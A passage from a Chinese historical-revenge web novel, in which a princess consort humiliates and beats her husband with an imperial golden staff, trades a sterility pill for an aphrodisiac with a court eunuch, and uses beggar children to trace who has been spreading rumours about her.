叶晚竹并不推辞,上前一把将匣子打开,随即被一阵金光晃了眼睛。 放在匣子里的东西,又是一柄细长的金杖! 屋中不由得传来几声倒吸冷气的动静。 这杖子乍一看与叶晚竹使的那柄没有太大的不同,只是更加金光璀璨,看起来似乎也更加有力一些。 “圣上有言,斯人已逝,身后之物也该落个安稳,特此另赐叶氏长女金杖一柄,所用之法,与旧物无异。” 谢无咎终于从椅子上站起身来,弯腰取出金杖递到叶晚竹面前。 “叶氏长女,领旨谢恩吧?” 叶晚竹立刻照办。 虽然是一模一样的金杖,但这根是圣上亲口说明,属于她的! 日后谁还敢再动什么歪心思? 谢过圣恩,叶晚竹又让书画将两柄金杖都搁到一旁,花厅中客人们沉默地看着她动作,皆是不发一言。 本该热闹红火的宴席,这会儿冷得像冰雕一般。 不少交好的夫人小姐们都在暗中悄悄地眉来眼去。 圣上都赐了景平王妃东西,看来,那京中的流言,纯属胡说八道! 还好她们刚才没有像郭夫人一样,贸然得罪王妃! “好了,圣旨已经传到,各位不必如此严肃。” 第一个打破寂静的人是谢无咎,他不知何时又恢复了笑容满面的模样。 “本督方才来的晚了些,眼下这宴席进行到什么地步了?夫妻对拜?” 他挑眉看着萧子景,后者的脸色变得十分精彩。 只是纳妾,哪里来的对拜? 阮莹莹的表情也更破碎了几分。 “九千岁说笑了。” 萧子景硬撑着挤出一个笑容,瞧着比哭还难看。 “礼已成,璎珞,把姨娘送回春风居去吧。” 谢无咎摆明了要为难他和阮莹莹,这种时候,还是别在他面前久留为好。 璎珞战战兢兢地上前来将阮莹莹扶起,萧子景绷紧了全身的力气,时刻等待着谢无咎忽然发难。 可直到阮莹莹离开,谢无咎也不曾再说过什么。 待这位告辞离开,宴席也正式开始,有美酒佳肴,厅中的气氛终于又活络了起来。 叶晚竹刚坐下,便有几个夫人端着酒杯,笑容热络地走了过来。 从前也就罢了,如今圣上亲自赐物,足以见对景平王妃的看重,京中这些夫人自然要与叶晚竹多多走动。 叶晚竹来者不拒,对上这些夫人们,她倒是没了方才的声色俱厉,反而人人都能聊上几句。 做客的夫人们很快发现,景平王妃并没有传说中的那样喜怒无常,凶神恶煞! 不仅如此,还很有本事! “王妃手段真是厉害,能叫王爷对你言听计从,如此一来,这些妾室也翻不起浪。可恨我家老爷,府里小妾一房房地抬着,我敢抱怨,他就十天半个月不进我的屋子,那些姨娘得了宠,就更加放肆……唉!” 叶晚竹给各府主子下了拜帖,今日前来观礼的也大多是各家主母。 男人纳妾在京中并不是稀罕事,可对正房夫人来说却得默默咽下委屈。 借着阮莹莹这纳妾礼的由头,一位赵夫人很快就憋不住感慨起来。 旁边几位夫人闻言也连连点头,看表情,各有各的苦楚。 “几位姐姐可愿听我一言?” 将她们的模样看在眼中,叶晚竹忽然笑了笑。 “要我说,姐姐们对夫婿就是太好了,好到让他们不知天高地厚。” 就像从前的自己一样。 此话一出,几位夫人齐刷刷地瞪大了眼睛。 “王,王妃的意思是……”赵夫人结结巴巴,欲言又止。 叶晚竹眼底的光芒危险地闪烁了几下。 “有些人是人,能以常理相待,有些人则不然,好吃好喝地伺候着,他会翻脸,觉得都是自己的本事。” “像这样的人,就得狠狠地打,打得像狗一样,才能老实!” 第五十六章 本王妃说过给你金子吗? 这话说的是谁? 几位夫人不约而同地朝萧子景那边看去,又齐齐收回目光。 把景平王打得像狗一样…… 夫人们脑海中似乎都有了些许画面,那画中的人物又很快变作自家夫君的模样。 “王妃啊,”赵夫人第一个回过神,“不瞒您说,您有这御赐的宝物,王爷自然不敢说什么,可……” 她们手里可没有这样的金杖啊。 去打自家夫君一顿,还把人打得像狗一样? 想想是很心动,但实行起来,未免有些太困难了吧。 几位夫人们面上都露出些许颓丧。 叶晚竹却摇了摇头。 “没有金杖,姐姐们也可以想别的办法嘛。” “俗话说的好,蛇要打七寸,人也是一样的道理。” “敬他忍他,处处体谅,他只会以为是怕了,既然如此,还不如捏住七寸,狠狠地打,让他认清自己是个什么东西!” 她别有深意的目光在夫人们身上缓缓扫过。 谁都有弱点,只要掌握了这个弱点,那接下来的事情就好办得多了! 好比如今囊中羞涩的萧子景,为了一锭金子,就能当众和阮莹莹翻脸。 “不过各位姐姐也得小心,别落下什么把柄。”叶晚竹又提醒了一句。 赵夫人几人互相望望,眼底都有光芒闪过。 聊了许久,如今还留在叶晚竹身边的这几位夫人,都是家中夫君荒唐,却束手无策的。 方才她们看着叶晚竹三言两语拿捏景平王便心生羡慕,眼下听了这一番话,不由得各自都生出了心思。 这种憋憋屈屈的日子她们是过够了! “多谢王妃好意!” 以赵夫人为首,一干夫人七嘴八舌地朝着叶晚竹道谢起来。 待酒过三巡,屋外天色也暗了下去,景平王府这场怪异又热闹的宴席也顺势落下了帷幕。 叶晚竹亲自送着几位夫人上了马车,经过一晚畅谈,眼下双方的关系已经飞快地变得亲近起来。 “王妃,您这是要干什么?” 目送着所有人离开,叶晚竹长长地吐出一口气,面上露出几分疲惫。 书画见状连忙上前,扶着叶晚竹的胳膊念念有词。 “这些夫人们先前肯定没少说过您的坏话,王妃怎么还帮着她们出主意?” 家家有本难念的经,高门贵妇也不能幸免。 只是书画不懂,自家王妃为什么忽然一反常态,和京中这些夫人们来往起来? 叶家从前是女人当家,与京城大户格格不入,萧子景又是个半路王爷,地位向来尴尬。 像方才那般交际,书画还从来没见过。 叶晚竹低声笑了笑。 “我现在可是入了圣上的眼,不比从前,自然有人想来交好,多些朋友,总好过多几个敌人。” 她和萧家人不死不休,和这些没有坏心的夫人,不必如此。 况且,她今日帮了这些夫人的忙,来日她有需要,总不会一个人都找不到—— “叶晚竹!” 说着话,二人不知不觉已经回到潇湘院附近,萧子景的喊声忽然传来。 停下脚步,叶晚竹转头便看着萧子景一脸怒色地大步上前。 “王爷有事?” 目的已经达到,叶晚竹不耐地抬了抬眼皮,语气冷淡。 萧子景身上依旧穿着宴席时候的袍子,却已经皱巴巴的,他眉头紧蹙,神情狂躁,抬手一指潇湘院的大门。 “你什么意思,这是景平王府的院子,我进不得?” 他本要到屋中等候,谁知一只脚还没踏进院门,就被隐风一把拦了下来。 “还有你这牌子又是怎么回事!”萧子景又大手一挥,一张脸在夜色中也能看出涨得通红。 狗与萧家人不得入内? “岂有此理!” 萧子景呼哧呼哧地喘着粗气,“赶紧让人拿走!若是被人看见,成何体统?” “王爷到底是来干什么的?” 叶晚竹彻底停下脚步,似笑非笑地看去。 “放着洞房花烛夜不过,却要到潇湘院来无事生非,难道……王爷有什么难言之隐?” 她轻飘飘地朝萧子景身下看去。 萧子景的脸更红了,被气得连嘴唇都在哆嗦。 他好的很! “金子呢?” 不想再听叶晚竹说话,萧子景径直摊开手。 “什么金子?” 看着萧子景的模样,叶晚竹露出一副讶异模样。 萧子景瞪大双眼,“你我二人约定好的!” “什么约定?”叶晚竹面上的讶异越来越重。 “你——” 急促地喘了几声,萧子景咬紧牙关,又极力压低声音。 “你说过的,本王今日对你言听计从,你就给本王一锭金子!” 若不是为了这个,他今天何必如此? “我说过吗?”叶晚竹的讶异又变成了错愕,“什么时候,在哪儿,谁听见了?” 萧子景死死盯着她的眼睛不放,终于在里面找到一点恶作剧得逞的快活。 “你,你这个贱人,敢耍本王?” 叶晚竹一直都在耍着他玩! 用一锭没影的金子,换他整整出了一场宴席的丑! 种种心绪袭上,萧子景双眼赤红,猛地举起了拳头! 可叶晚竹比他更快,察觉到萧子景要动手,她抢先一步拎起金杖,对着萧子景当头抽下! “嗷!”萧子景顿时惨叫起来。 “王爷这是看圣上刚赐下的杖子还没用过,迫不及待地想挨打了?” 叶晚竹举着金杖,反手又是一记! 她就是耍着萧子景玩怎么了? 萧子景和阮莹莹背着她暗度陈仓的时候,不是也没有告诉她吗? 一报还一报,公平得很! 这话没有说的必要,叶晚竹只冷笑着,一杖子接一杖子地抽在萧子景身上。 “欠了我那么多银子,王爷竟然好意思朝我要钱?” “我倒是也想问问王爷,大房这几个月一个铜板也没送来,仅凭王爷的俸禄可不够填补铺子里的窟窿,王爷准备怎么办?” 新赐下的杖子打起人来更疼,萧子景本想反击,隐风隐川却循声而出,两堵墙似的守在叶晚竹身前! 只能挨打,萧子景很快就受不了,寻了个机会转身一溜烟就跑! 这钱,他不要了还不行吗! “活该!” 望着萧子景狼狈不堪的背影,叶晚竹冷笑着大步走进院中—— “王妃好生英武。” 第五十七章 一对疯子 谢无咎阴柔的嗓音自屋中传来。 叶晚竹脚下一顿,随即神色如常地走了进去。 “让九千岁看笑话了,不知都督还有何贵干?” 一边说着话,叶晚竹抬起眼,便看到谢无咎坐在她的摇椅上。 此人相当不见外,倚靠在椅子上优哉游哉地晃着身子,手边的小桌上还放着茶水和点心。 看上去已经在此等候多时了。 “坐。” 见着叶晚竹进屋,谢无咎越发反客为主,笑眯眯地指了指一旁的硬背椅子。 “宴席上送的是圣上的礼物,本督也备了一份薄礼,要送给王妃。” 叶晚竹刚在椅子上坐稳,便看见谢无咎从怀中取出一样东西放到她面前。 是个不大不小的盒子,用绸缎包裹着。 叶晚竹刚要打开盖子,便又听见谢无咎开了口。 “这原本是宫中所用的避子丹,本督改良了一回,只要一颗,服用之人下辈子也要断子绝孙。” 顿了顿,他的语调又有些漫不经心,“男女皆可使用,全看王妃的心思了。” 叶晚竹端详着盒子里那颗散发着幽香的丹药。 她从前便听说过,东厂酷刑中有一项是净身。 只是没想到竟然如此方便,连亲自动手都不必。 想了想,叶晚竹合上盖子,将整个盒子又朝着谢无咎推了回去。 “多谢九千岁赠礼,不过妾身暂时用不到这个。” 谢无咎面上的笑意变得微妙了几分。 “哦?王妃方才在前厅大书特书,原来并不是朝着景平王去的?” 她在前厅里和赵夫人等人的聊天,这位也听见了? 叶晚竹飞快地扫了一眼谢无咎,“原来九千岁并不曾离席?” “是啊。” 仿佛没听出叶晚竹这点小小的尖酸,谢无咎只是叹了口气。 “本督自知不受人待见,也没心情看那些庸人自己吓唬自己,只想和王妃叙叙旧罢了。” “却没想到,本督一番好意,王妃竟然也不领情……” 说到最后,谢无咎的语气已经微微泛出了冷意。 “王妃既然愿意给景平王府开枝散叶,这倒的确是本督多此一举了。” 语气冰寒,谢无咎一把抄起桌上的锦盒,却没想到被叶晚竹按住了手腕。 “九千岁大人且留步。” 察觉这位的恼意,叶晚竹一颗心怦怦跳着,极力保持语气平稳。 “都督一片好意,妾身感激不已,只是这礼物……不知可否换一换?” 叶晚竹抬眸看去。 抛开谢无咎本人不说,他送避子丹给她,倒是真心实意在为自己着想。 如今就算是没长眼睛的人,也能看出萧子景对她这个王妃早就没了情意。王府里现在只有一个小主子,若是萧子景没有其他子女出生,等萧延再长大几岁,就能顺利封了世子。 可叶晚竹怎么能让萧延如此一帆风顺呢? 那她岂不是对这个狼心狗肺的儿子太好了些! 萧延心里向来把阮莹莹看成自己的亲娘,阮莹莹可不会这么傻! 等她生下自己的骨肉,那孩子和萧延可是要争夺世子之位的关系。 前世叶晚竹死得太早,没能看到阮莹莹的孩子,今生,她有的是时间! 看他们狗咬狗! 想着,叶晚竹面上的笑容越发灿烂。 “不要避子丹,换成合欢散,如何?” 她有些迫不及待地想看萧子景和阮莹莹的孩子出生了。 闻言,谢无咎先是一愣,片刻后仰头哈哈大笑起来。 他笑得畅快而恣意,方才萦绕在周身的冷意顷刻间就消散了个干干净净。 “好啊,好啊,王妃果然手段了得!” 叹着气,谢无咎的神情却愉悦起来。 “不愧是本督一见如故的友人,”他轻轻鼓掌,“竟能想出这样的办法!不过合欢散本督不会随身携带,还得请王妃稍等片刻了。” 叫来隐月回东厂去取,谢无咎顿了顿,再看向叶晚竹的时候,眼神忽然变了变。 眼下夜色已至,屋中点了烛火也显得朦胧,谢无咎的眉眼好像隐藏在纱幕之中,让叶晚竹看不分明。 她只能听见这位低沉下去的语气。 “不知王妃还有什么手段,本督倒真是好奇,想领教一二呢……” 叶晚竹的眼角不由得跳了跳。 京中人先前说她疯,可却抵不上这位九千岁的十分之一。 好端端的,想领教她的手段做什么? 不过要是谢无咎不疯,她就要失去一个强有力的支撑了。 疯! 越疯越好! 反正她在众人眼中也不正常,疯子和疯子,也算志趣相投! —— 春风居中。 阮莹莹端坐在拔步床上,双眼无神地看着自己脚下的地面。 被从花厅送回屋中后,璎珞和一干春风居的丫鬟已经替阮莹莹重新梳洗打扮过,也换了身崭新的衣裳。 可一切都挡不住她苍白憔悴的神情。 今日是她大好的日子,可却已经成了一个笑话! 一个入府当日就被夫君按在地上拳打脚踢的新妇! 还只是一个不起眼的妾室! 闭了闭眼,两行清泪缓缓流出。 阮莹莹深吸一口气,又看向屋外漆黑一片的天色。 前院的宴席早就散了,冬生来传过话,说王爷要晚点到,请她稍等片刻。 就连洞房花烛夜都要推延! 阮莹莹忍不住又攥紧了拳头。 为什么一切跟她想象中的这样不同? 到底是什么地方出了问题! “王爷,王爷来了!” 院中这时候传来璎珞欢快的声音,听着像是松了一口气。 听着萧子景熟悉的声音响起,阮莹莹也跟着放松了紧绷的后背。 不管怎么说,这个景平王府她终于进来了,只要想办法除掉叶晚竹,荣华富贵,还是属于她的! 而现在的当务之急,就是尽快有一个自己的孩子! 等她地位稳固,再来想办法收拾叶晚竹! 暂且忍耐一时,权当是韬光养晦! 压下今日的一切,阮莹莹起身走到门前,挂上一个我见犹怜,又强忍委屈的浅淡笑容。 眼见房门被推开,她朱唇轻启,“王爷……” 未完的呼唤顿时消散在她惊异的神情中! “王,王爷,您这是怎么了?” 第五十八章 这就结束了? 眼前这鼻青脸肿好像猪头的狼狈汉子,是萧子景? 阮莹莹忍不住倒退两步,神情惊异。 两人打了照面,见状,萧子景的眉头皱了起来。 他要金子不成,还挨了这么一顿打,叶晚竹那毒妇显然是故意的,招招都朝他脸上来! 已经耽搁了不少功夫,春风居这边还在等着,若是他晚得太多,免不了要让下人嘀咕,轻视了阮莹莹。 他今日已经让她委屈得太多了。 是以萧子景也没顾上回默言阁处理伤势,趁着夜色昏沉径直赶了过来。 这会儿看着阮莹莹震惊的模样,一股耻辱感又油然升起。 叶晚竹这个贱人,到底下了多重的手? 疯子! “王,王爷痛吗?” 感受着萧子景浑身上下的戾气,阮莹莹连忙调整表情,一脸关心地上前扶住他的手臂。 “这是怎么了?哪个不长眼睛的,竟然害王爷摔成这样!” 那细长的伤痕,一看就是出自叶晚竹的金杖,阮莹莹却不动声色地递着台阶。 叶晚竹越嚣张越好,否则,怎么能让萧子景偏向自己这边呢? 今日遭到的耻辱也给阮莹莹提了个醒,男人的话说的再好听,也不一定全能做到。 萧子景和叶晚竹如今仍是夫妻,像宴席那样的场合,为了面子,萧子景也不能让叶晚竹当众下不来台。 只有她真的成了萧子景的妻,成了景平王妃,王府的女主人,一切才能由自己说了算。 暗暗吐出胸中浊气,阮莹莹将萧子景扶到桌边坐下,又亲自取来药箱,替他上药。 虽是纳妾,但阮莹莹毕竟身份不同,春风居外是叶晚竹一手操持,简单装点,萧子景却让人将屋中布置成了婚房的模样。 大红蜡烛点着,映得阮莹莹小脸娇美,认真的神情似乎也带上了几分旖旎。 萧子景静静地看着,一身戾气渐渐收拢,又变作温和模样。 到底还是莹莹对他最好! 简单上了药,萧子景的脸不便见人,阮莹莹便又传了饭食,亲自端到屋中来。 “今日宴席那事——” 待酒足饭饱,一切归于平静,萧子景刚要开口解释,嘴唇却被阮莹莹伸出手指一把按住了。 “我知王爷为人,更知王爷心意,今日之事定有苦衷,还是不提了吧。” 阮莹莹蹙着眉头,方才的哀婉又浮现出来。 “只要王爷心里有我,莹莹就知足了,至于其他的,不急于一时。” 萧子景用力呼吸着,一把将阮莹莹搂进怀中。 “让你受委屈了,莹莹,你再等等,那贱人的一切,迟早都是你的!” “妾身最想要的,已经近在眼前了。” 阮莹莹抿唇浅笑,萧子景的呼吸却越发粗重起来。 这入府宴波折连连,可今晚的洞房花烛,总不至于有人打扰。 萧子景一把抱起阮莹莹,将人打横丢到床上。 叶晚竹那怀疑他能力的话忽然又在耳边响起,萧子景血脉偾张,猛地压了下去。 春宵一刻,萧子景身体力行地“证明”了一番自己,心满意足地仰面朝天倒了下去。 阮莹莹平复了呼吸,眼神一转,又柔若无骨地缠了上去。 “王爷……” 她要快些有个孩子,快些让叶晚竹这个贱妇付出代价! 两人在边关便私相授受,对彼此都熟悉得很,萧子景低笑一声,调侃几句,反手揽住阮莹莹的腰身—— “咝……” 一阵天旋地转的晕眩忽然传来,萧子景浑身无力,眼前发黑。 等再恢复神智,他已经趴倒在阮莹莹身上。 “王爷,您没事吧?”阮莹莹语气急切。 方才萧子景忽然当头栽下,砸得她几欲吐血! 好在只是一瞬间,随着萧子景起身,阮莹莹终于能大口呼吸。 她连忙扶住眼前的男人,却被入手的滚烫温度吓了一大跳! 这是怎么了? 再抬起头,萧子景气血上涌,面上正泛着妖艳的潮红,配上他尚未愈合的伤痕,显得极为诡异。 从未见过萧子景这般模样,阮莹莹瞪大双眼,呆愣当场。 萧子景这会儿仍是头重脚轻,感到眼前的一切仿佛都在旋转。 这还不算,他用力呼吸,却还是感到体内有股热血在没完没了地四处冲撞,不找个出口就不罢休。 “王爷?景哥哥?” 萧子景沉默不语,只一双眼睛死死盯着阮莹莹,她心下惊慌,忍不住又喊了几声,却感到男人身上烫得更吓人了。 这到底是怎么了? 迷迷糊糊地又一次被按倒。 …… “王爷辛苦了一天,许是累了,”阮莹莹撑起身子,尽量不让自己面上的表情太过明显,“妾身去叫水吧?” 萧子景紧绷着一张脸,无声地点了点头。 二人谁也没再提起这个话题,待热水放好,阮莹莹回到屋中,有些欲言又止。 “王爷……” 以往这种时候,两人都是一道去往浴房,或许还会再荒唐地闹上一场。 可今日…… 床上久久没有传来回应,阮莹莹上前一看,萧子景已经沉沉睡去,呼吸绵长而低沉。 大概真是累着了吧。 无奈之下,阮莹莹也只能自行离去,冲过澡后疲乏涌上,她躺进被子里,很快便进入了梦乡。 直到确认阮莹莹已经睡熟,萧子景才慢慢睁开了双眼。 他了无睡意,眼底依旧带着一抹尚未退去的红痕。 轻手轻脚地下了床,萧子景仍然能感到方才的虚弱,他尽力支撑着自己离开房间,让丫鬟去准备了热水。 将自己独自一人关在浴房,萧子景慢慢解开衣裳,朝光裸的身体看去。 并没有什么异常。 可从方才那一次过后,萧子景便感到下身时不时地隐隐作痛着,让他十分紧张。 难道真是他太累了? 迟疑半晌,连浴桶中的水都开始变冷,萧子景终于咬了咬牙,伸手探了下去—— 第五十九章 说王妃坏话?揍他! “王妃,今日又有一个大夫到默言阁去了。” 清晨,叶晚竹用过早饭,正在院子里看花浇水,隐川匆匆而来,如是说道。 “又来?”闻言,叶晚竹不由得挑了挑眉。 从三日前开始,几乎每天都会有大夫被请到默言阁,往往要等上很久才出来。 “要不要属下去调查?”隐川的眉头紧皱着。 “不用。” 叶晚竹不假思索地摆了摆手。 “他要做什么就让他做,无非是看病罢了,他要是真打算给我下毒,那简直是太好了。” 知道被耍之后,萧子景第二日便在默言阁大发雷霆,把那两个大夫赶出了景平王府,又调来自己的人手,严密地将默言阁看守起来。 叶晚竹虽然没去过,但萧子景这做法防的是谁,简直一目了然。 不过萧子景是白担心了,如无必要,叶晚竹连看一眼默言阁都懒得。 只是多换了几个大夫看病罢了,只要不折腾到她头上,叶晚竹才不想理会。 “不用管,让他自己玩吧,对了,书画呢,怎么还没回来?” 将此事丢到一边,叶晚竹望望四周,有些奇怪地问。 不久前府外有人递了消息,指名道姓说要找书画姑娘,叶晚竹当时正在沐浴,也没多问,谁知这人一离开便是这么长时间。 隐川面上掠过一丝迷茫,正要说话,便听见外面传来了小步快跑的动静。 “王妃,王妃!” 消失许久的书画一头冲进院子,气喘吁吁地站在叶晚竹面前。 “王妃,您来看看吧!” —— 半柱香的功夫之后,叶晚竹跟着书画,来到了景平王府的后门。 王府背后没有人家,几处宅子都空着,比大门那边更加幽静。 才刚过拐角,一道人影便忽然出现在叶晚竹面前。 隐川下意识抬手一挡,来人诶呦一声,重重坐倒在地。 叶晚竹这时候听出了她的声音。 “你找我做什么?”示意隐川退下,叶晚竹自己走上前去。 正从地上爬起来的人是个瘦瘦小小的姑娘,一身乞丐的装扮,脸蛋倒是挺干净,好像专门擦过一把似的。 叶晚竹认得她,这正是当初帮她在京中遍传消息,说萧子景是个负心人的那些小乞丐的其中之一。 流言那事早已经过去,她怎么又来了? “王妃!” 小乞丐这会儿已经从地上一骨碌爬了起来,也不要人搀扶,仰着头,一双眼睛亮晶晶地朝着叶晚竹看来。 “我们抓住说您坏话的人啦!” 她语气兴奋,整个人都处于亢奋之中,又手舞足蹈着。 书画只好在一旁补充,“小花她们听到另外一伙乞丐在京中散布对王妃不利的那些传言,已经把人都抓起来了——” “他们说是有人给钱让他们这么干的!” 小乞丐小花急不可耐地插嘴进来,又伸出自己瘦小的拳头晃了晃。 “有人在背后败坏王妃的名声,这人是坏人,王妃抓了去吧,这样京中就没人再议论您了!” 她说话又急又快,活像个小炮仗,还不等叶晚竹开口,又朝身后吹了声口哨,立刻有几个小乞丐从暗处跑了出来,七手八脚地推着几人来到叶晚竹面前。 叶晚竹上下打量着,比起小花一行,这些乞丐明显要年长不少,个头最高的那个都快长到她肩头了。 这帮人满头满脸的伤,与小花一起的那几个小乞丐瞧着也没好到哪里去,一看双方就是恶战了一场。 “王妃,您把人带走吧!” 她刚沉默一瞬,衣角便被小花攥住,迫不及待地摇了摇。 这孩子实在是个急性子。 “你先等等。” 摸了摸小花的脑袋,叶晚竹将她推给书画,自己走上前去。 “我就是景平王妃,是谁让你们在京中散播谣言的?”她目光锁住离自己最近的那个乞丐。 听她自报家门,那乞丐缩了缩脖子,眼中露出一丝胆怯。 “不说?”叶晚竹冷冷地垂下目光,“隐川,打断手脚,丢到山上去喂狼!” 她话音刚落,这乞丐忙道,“我说我说!是一个好看的女人!” “我呸!我呸呸呸!” 小花本被书画牵着站在一旁,闻言顿时跳了脚。 “好看的女人满京城都是,你说了等于没说!狗蛋,揍他!” 圆嘟嘟的小胖子瞪着眼睛,一拳锤在这乞丐后背上,发出咚地一声闷响。 大乞丐哀嚎一声,双眼畏惧地望着面无表情的隐川,开口语速飞快。 “我真不知道那女人是谁,她只给我们银子,让我们办事,从来没说过自己的身份……” “王妃,小的错了,小的再也不说您的坏话了!”他又转头祈求地看着叶晚竹。 “就算你不知道是谁,她长得什么样子你怎么不说?”小花又抢先嚷嚷着,“死东西不老实!狗蛋,继续揍!” 狗蛋相当听话,闻言又是一拳下去,狠狠打在这乞丐腰窝上。 “我说我说……” 这乞丐哀嚎得更厉害了,一连串地说了几个特征,又搜肠刮肚,直到再也无话可说,才小心翼翼地停了下来。 “我,我知道的真的就这么多了!”他瞪大双眼道。 书画朝着叶晚竹看了过来。 这乞丐的描述……很像是璎珞啊。 她正好是阮姨娘身边的人! 用眼神示意书画不要开口,叶晚竹又转向那乞丐。 “若你再见到她,还能不能认出来?” “能!能能能!” 乞丐一迭声地应着,却又面带苦相,“可我也不知道她在哪儿,都是她让人给我们带话……” “这你就不用管了。” 叶晚竹摆手截住他的话头,“你只要按我说的办,事成之后,我可以给你们报酬。” 那如果不听话…… 几个乞丐同时看了一眼铁塔一般的隐川,脑袋点的一个比一个快。 傻子才不答应呢! 让隐川先把这几个乞丐带走,叶晚竹这才朝给她帮忙的小乞丐们看去。 人人身上都挂了彩,狗蛋连鞋底都跑开了,被叶晚竹看着,不自在地动了动脚指头。 “过来拿银子,先去买药看伤,刚才的事情,谁也不许说出去,记住了没有?” “你,跟我回府。” 第六十章 她不喜欢 打点了小乞丐们,叶晚竹带着小花回到潇湘院中。 景平王府虽然外强中干,但便是如此,一路走来的景致也足够让小花看得移不开眼。 等来到屋中坐下,叶晚竹伸手在她面前晃了晃,才让这小乞丐回神。 “这,这就是王府,好大……”小花挠了挠头,讪讪地笑着。 她还从没见过这么大的院子。 “对,这就是王府。” 叶晚竹点了点头,又道,“把你的衣裳脱了。” 闻言,小花眼中飞快地闪过一丝警惕。 “狗蛋他们都受了伤,你难道没有?” 叶晚竹一边说着话,一边已经将药箱拎了过来。 她回身打量着小花,“当老大的,应该冲在第一个吧?” 看她方才在外面的气势,显然那些小乞丐都是她的小妹小弟。 小花暴露在外的地方没有受伤,那就只可能是在衣服里面了。 叶晚竹的眼神变得有些锐利,“你自己脱,还是我帮你?” 小花和叶晚竹也算打过几次交道,知道这位王妃不是拖泥带水之人,她咬了咬嘴唇,自己动手脱下外裳。 一条青紫的伤痕横亘在肩头和手臂上。 叶晚竹招手让小花上前,确认了没有流血,便倒了药油替她将淤青揉开。 她下手不算轻,小花疼得龇牙咧嘴,却硬是忍住没有出声。 手下的躯体纤弱干瘦,比看上去还要可怜,叶晚竹垂下目光,又在小花身上发现了不少旧伤。 伤痕早已发白褪色,交错出现在身体各处,新新旧旧地叠在一起。 似乎是察觉了叶晚竹的注视,小花不甚自在地动了动。 “有人打你?”叶晚竹的语气变冷了些。 不同于这道新伤,小花身上的痕迹明显不是和人打架而来,而是被鞭子利器等物所伤。 虽然只是乞丐,但她瞧着也不过八九岁,怎么就挨这么重的打? 小花吸了吸鼻子,“我是乞丐嘛,无家可归,不一定被谁看不顺眼,又跑不过,那就要挨打咯。” 她语气里满是故作轻松,又拉住叶晚竹的衣袖。 “王妃王妃,您要怎么对付说您坏话的人?” 看出小花不想继续那个话题,叶晚竹也没有追问。 不过她也没有顺着小花的话说下去,而是挑了挑眉。 “你为什么要帮我?结银子的时候我就让书画告诉你们,此事已经翻篇了。” 就算知道阮莹莹也在暗中操纵流言,叶晚竹也没再找这些小乞丐。 有的招数用一遍就够了。 小花的脸忽然红了红,脑袋也低了下去。 “王妃给的东西太多了,只是传传话,我们过意不去!” 她双手扯着衣角来回撕扯着。 他们还从来没见过那么多银子呢! 王妃身边的书画姐姐还带他们吃了饱饭,又给他们买了新鞋,小花一伙都认为王妃是个大好人! 怎么能有人说景平王妃的坏话! 一定要揪出来,打一顿,让她再也不敢胡说八道! 小花颠三倒四地表达着自己的意思,叶晚竹听着听着,渐渐发笑起来。 这还是头一遭有人拿了她的银子,不仅没有反咬一口,反而觉得受之有愧的。 看来就连街上的小乞丐,都比这王府里的人活得有人样! “……王妃,我们还能帮什么忙,您尽管说吧!” 另一边,小花终于讲完了乞丐大战,把胸脯一拍,神采奕奕地向叶晚竹保证,“我们什么都能干!” 听王妃刚才的话,她应该是要让那几个乞丐把好看的女人引出来打吧? 他们也可以帮忙啊,按手按脚什么的! 小花眼底闪着跃跃欲试的光。 叶晚竹替她把外裳拉起来,又摸了摸她的脑袋。 “不急,让我想想。” —— 都督府。 这座圣上御赐的宅子大而清净,与东厂不同,府中空空荡荡,几乎没什么人气。 谢无咎刚沐浴过,发梢半湿着从内室走出,一边随手捞起外袍,一边朝已经等了一会儿的隐翼点点头,“说。” “主子,”隐翼低声道,“今晚有人偷偷到景平王府后门送药,这是药方。” 萧子景每天请各种大夫到府里看病,此事在九千岁这里也不是秘密。 穿好衣裳,谢无咎取过药方扫了一眼,双眼忽然睁开几分。 “哈哈哈……”他随即又笑得幸灾乐祸起来。 这药方,居然是治下半身的! “隐月啊,” 谢无咎懒洋洋地唤了一声,片刻后对着快步走进屋中的隐月道,“景平王纳妾那日,你给他下了多少合欢散?” 大约是没想到主子会问这个,隐月愣了一下才道,“一包。” 谢无咎闻言笑得越发欢乐,又把药方递给隐月。 “看来景平王这身子实在不怎么样,一包合欢散都顶不住……唉。” 他语气诙谐,隐月看着药方,嘴角忍不住也抖动几下。 “既然如此,日后再给他下药的时候,药量减半吧。” 谢无咎已经重新坐回桌边,单手撑着脑袋,“万一掏空了王爷的身子,那可就罪过大了。” 所以这药还要下! 隐月的嘴角又抽了抽,“属下这就去办!” 待他离开,隐翼却依旧站在原地,谢无咎抬眸一扫,“还有何事?” “是,”隐翼停顿片刻,“景平王妃今天早上在后门和一群小乞丐见了面……” 把事情说完,他又道,“此事幕后之人应是阮姨娘,属下在春风居也听到了阮姨娘要对王妃不利的心思,主子您看接下来如何是好?” 隐翼话音落下,屋中却陷入了片刻的沉默。 谢无咎一只手托着下巴,另一只手轻轻在桌上敲着,发出的动静让隐翼渐渐提心吊胆。 他是不是说错话了? 事关景平王妃,主子的心思总是更加让人捉摸不透。 “王妃已经知道此事,会自己处理,你不要插手,看着阮姨娘那边就好。” 足足是过去半柱香的功夫,谢无咎终于开了口。 主子语气如常,隐翼松了口气,正要应下,却又听见谢无咎的低语。 “把王妃那边的人撤了,日后如无特殊情况,不要再盯着潇湘院。” 隐翼有些诧异地抬起头来。 “隐风隐川足够用了,”谢无咎摩挲着下巴,“被人盯着,她不喜欢。” 第六十一章 夫人,得手了! 一日阳光明媚,是个好天气,可阮莹莹坐在马车上,却有些郁郁寡欢,心神不宁。 萧子景已经好几日没有到春风居来了。 准确地说,自从那个有些诡异的夜晚之后,萧子景便没再留下。 白日里他依旧会到春风居,和阮莹莹闲聊用饭,与从前别无二致,可每当夜幕降临,萧子景总有理由离去。 一天两天三天,阮莹莹心里的不安和疑虑也越来越深。 萧子景这般反常,是不是与那个晚上有关? 还是说,他开始厌弃自己了? “姨……夫人,花容阁到了。” 璎珞的声音从马车外传来,阮莹莹回过神,这才发现马车已经停了下来。 花容阁,京中夫人小姐们最喜欢的胭脂水粉铺子。 阮莹莹忍不住摸了摸自己的脸,掌心的触感有些粗糙。 她追着萧子景去了边关,那里生活艰辛,本就没有多少打扮的机会;等回到京中,又忙于和叶晚竹斗法,挨了几顿打再加上养伤,阮莹莹都想不起来自己有多长时间没有敷面养肤了。 这么想着,她下车的动作又变快几分。 早听说花容阁里有极品的珍珠粉,还能让铺子里的妆娘敷粉按摩,阮莹莹这会儿有些迫不及待。 谁知,刚下马车,她便看到璎珞被几个小乞丐揪住衣裳,正不断纠缠着。 “哪里来的脏东西?快赶走!” 